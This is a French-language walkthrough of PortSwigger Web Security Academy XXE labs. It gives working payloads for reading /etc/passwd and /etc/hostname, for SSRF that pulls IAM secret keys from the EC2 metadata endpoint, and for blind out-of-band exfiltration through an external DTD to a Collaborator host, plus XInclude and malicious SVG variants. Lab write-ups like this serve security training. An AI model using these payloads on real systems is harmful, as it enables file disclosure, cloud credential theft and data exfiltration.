(XXE) XML External Entity - PortSwigger (Writeup)

All labs | Web Security AcademyWebSecAcademy

L'XXE (XML External Entity) est une vulnérabilité de sécurité liée au traitement des entrées XML par une application. Elle survient lorsque l'application traite des documents XML contenant des références à des entités externes, ce qui permet à un attaquant d'injecter des entités malveillantes. Cela peut entraîner des fuites de données sensibles, des attaques par déni de service, ou même l'exécution de code arbitraire sur le serveur. Cette vulnérabilité est souvent exploitée lorsque le parseur XML n'est pas correctement configuré pour désactiver le traitement des entités externes.

• Exploiting XXE using external entities to retrieve files

• Exploiting XXE to perform SSRF attacks

• Blind XXE with out-of-band interaction

• Blind XXE with out-of-band interaction via XML parameter entities

• Exploiting blind XXE to exfiltrate data using a malicious external DTD

• Exploiting blind XXE to retrieve data via error messages

• Exploiting XInclude to retrieve files

• Exploiting XXE via image file upload

BASIC XSS Vulnerabilities:

Exploiting XXE using external entities to retrieve files:

Ce laboratoire dispose d'une fonctionnalité "Vérification du stock" qui analyse les entrées XML et renvoie toute valeur inattendue dans la réponse.

Pour résoudre le laboratoire, injectez une entité externe XML afin de récupérer le contenu du fichier /etc/passwd.

Modifiez la structure XXE en ajoutant la déclaration DOCTYPE et en ajustant la variable en insérant &xxe; dans le champ "email" du formulaire.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

Exploiting XXE to perform SSRF attacks:

Ce laboratoire dispose d'une fonctionnalité "Vérifier le stock" qui analyse l'entrée XML et renvoie toute valeur inattendue dans la réponse.

Le serveur du laboratoire exécute un point de terminaison de métadonnées EC2 (simulé) à l'URL par défaut, qui est http://169.254.169.254/. Ce point de terminaison peut être utilisé pour récupérer des données sur l'instance, dont certaines peuvent être sensibles.

Pour résoudre le laboratoire, exploitez la vulnérabilité XXE pour réaliser une attaque SSRF qui obtient la clé d'accès secrète IAM du serveur à partir du point de terminaison de métadonnées EC2.

Modifiez la structure XXE en ajoutant la déclaration DOCTYPE qui redirige vers le serveur interne et en ajustant la variable en insérant &xxe; dans le champ "email" du formulaire.

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

Mettre à jour de manière itérative l'URL dans le DTD pour explorer l'API jusqu'à atteindre /latest/meta-data/iam/security-credentials/admin.

Cela devrait renvoyer un JSON contenant le SecretAccessKey.

Blind XXE with out-of-band interaction

Ce laboratoire dispose d'une fonctionnalité "Vérifier le stock" qui analyse les entrées XML mais n'affiche pas le résultat.

Vous pouvez détecter la vulnérabilité XXE aveugle en déclenchant des interactions hors bande avec un domaine externe.

Pour résoudre le laboratoire, utilisez une entité externe pour amener le parseur XML à émettre une requête DNS et une requête HTTP vers Burp Collaborator.

Tout d'abord, nous utiliserons Burp Suite Collaborator pour copier l'adresse IP d'un serveur temporaire.

Ensuite on va modifier la structure XXE en ajoutant la déclaration DOCTYPE qui redirige vers le serveur et en ajustant la variable en insérant &xxe; dans le champ "productId" du formulaire.

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://8mvy3hmjrr7h73abvfh0pfjl8ce320qp.oastify.com"> ]>

Nous recevons des demandes HTTP et DNS du serveur.

Blind XXE with out-of-band interaction via XML parameter entities:

Ce laboratoire dispose d'une fonctionnalité "Vérifier le stock" qui analyse l'entrée XML, mais ne montre aucune valeur inattendue et bloque les requêtes contenant des entités externes régulières.

Pour résoudre le laboratoire, utilisez une entité paramètre pour que l'analyseur XML effectue une recherche DNS et une requête HTTP vers Burp Collaborator.

Premièrement, si l'on essaie de charger une entité normale qui doit afficher du texte, on obtient un message d'erreur nous indiquant qu'il y a des mesures de sécurité : "Entities are not allowed for security reasons."

<!DOCTYPE test [ <!ENTITY test "testing"> ]>

Nous allons vérifier si le serveur peut envoyer des trames à notre serveur Burp Suite Collaborator, en observant si des trames sont reçues.

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://8foxc91ujtzp5lyllz5n53ashjnab0zp.oastify.com/test"> %xxe; ]>

Exploiting blind XXE to exfiltrate data using a malicious external DTD:

Ce laboratoire dispose d'une fonctionnalité "Vérifier le stock" qui analyse les entrées XML, mais n'affiche pas le résultat.

Pour résoudre le laboratoire, exfiltrez le contenu du fichier /etc/hostname.

PortSwigger met à disposition un serveur externe temporaire pour simuler l'interception du trafic.

Nous devons donc inclure dans ce serveur un corps d'exploitation (exploit body) qui redirige le contenu de /etc/hostname de la machine victime vers notre serveur Burp Suite Collaborator.

Pour vérifier que nous recevons correctement les journaux (logs) :

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0a3800b204d6685a818ae32a01830095.exploit-server.net/exploit"> %xxe; ]>

Ensuite, nous introduisons le payload malveillant avec des entités, qui sera stocké dans le fichier d'exploitation :

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://5agu76wrequm0itigw0k005pcgi960up.oastify.com?content=%file;'>">
%eval;
%exfil;

Nous envoyons la requête, et finalement, nous recevons la réponse contenant le contenu du fichier dans la variable content sur notre serveur Burp Suite Collaborator.

Exploiting blind XXE to retrieve data via error messages:

Ce laboratoire dispose d'une fonctionnalité "Vérifier le stock" qui analyse les entrées XML mais n'affiche pas le résultat.

Pour résoudre le laboratoire, utilisez une DTD externe pour déclencher un message d'erreur qui affiche le contenu du fichier /etc/passwd.

Le laboratoire contient un lien vers un serveur d'exploitation sur un autre domaine où vous pouvez héberger votre DTD malveillante

Nous tentons d'injecter une entité externe vers le serveur Burpsuite, mais nous recevons un message d'erreur avec le code suivant :

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://8foxc91ujtzp5lyllz5n53ashjnab0zp.oastify.com/test"> %xxe; ]>

Nous consultons les journaux pour confirmer la réception de la requête et constatons effectivement une requête GET sur la route exploit.

Pour consulter le contenu du fichier /etc/passwd sur la machine cible, nous allons établir les entités suivantes. Cela va forcer le système à tenter de lister un fichier inexistant, ce qui déclenchera une erreur dans laquelle le contenu du fichier ciblé sera affiché grâce à l'entité définie :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///randomPATH/%file;'>">
%eval;
%exfil;

Nous venons d'obtenir le fichier /etc/passwd.

Exploiting XInclude to retrieve files:

Ce laboratoire possède une fonctionnalité "Vérifier le stock" qui intègre l'entrée de l'utilisateur dans un document XML côté serveur qui est ensuite analysé.

Étant donné que vous ne contrôlez pas l'intégralité du document XML, vous ne pouvez pas définir un DTD pour lancer une attaque XXE classique.

Pour résoudre le laboratoire, injectez une instruction XInclude pour récupérer le contenu du fichier /etc/passwd.

La structure XML reste invisible à l'utilisateur.

Nous allons utiliser le site "PayloadAllTheThings" pour copier un payload en cas d'absence de structure visible, permettant ainsi d'exploiter une attaque de type XInclude.

PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Requête injection XInclude :

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Exploiting XXE via image file upload:

Ce laboratoire permet aux utilisateurs d'ajouter des avatars aux commentaires et utilise la bibliothèque Apache Batik pour traiter les fichiers d'images d'avatars.

Pour résoudre le laboratoire, téléchargez une image qui affiche le contenu du fichier /etc/hostname après traitement. Ensuite, utilisez le bouton "Soumettre la solution" pour soumettre la valeur du nom d'hôte du serveur.

Nous pouvons également nous référer au site "PayloadsAllTheThings" pour identifier la vulnérabilité liée à l'upload d'une image au format SVG.

PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub

Nous allons créer depuis le terminal une image SVG contenant le code malveillant suivant, qui permettra d'afficher le fichier /etc/hostname :

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Une fois cette image uploadée sur le serveur cible, si nous ouvrons l'image, nous obtiendrons le contenu du fichier /etc/hostname.

Wrapper Base64 :

Pour modifier le contenu d'un XXE afin de convertir le fichier /etc/passwd en base64, vous pouvez utiliser la syntaxe suivante :

"php://filter/convert.base64-encode/resource=/etc/passwd"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root>
    <name>
    Jordan
    </name>
    <tel>
    123456
    </tel>
    <email>
    &xxe;
    </email>
    <password>
    JORDAN1234
    </password>
</root>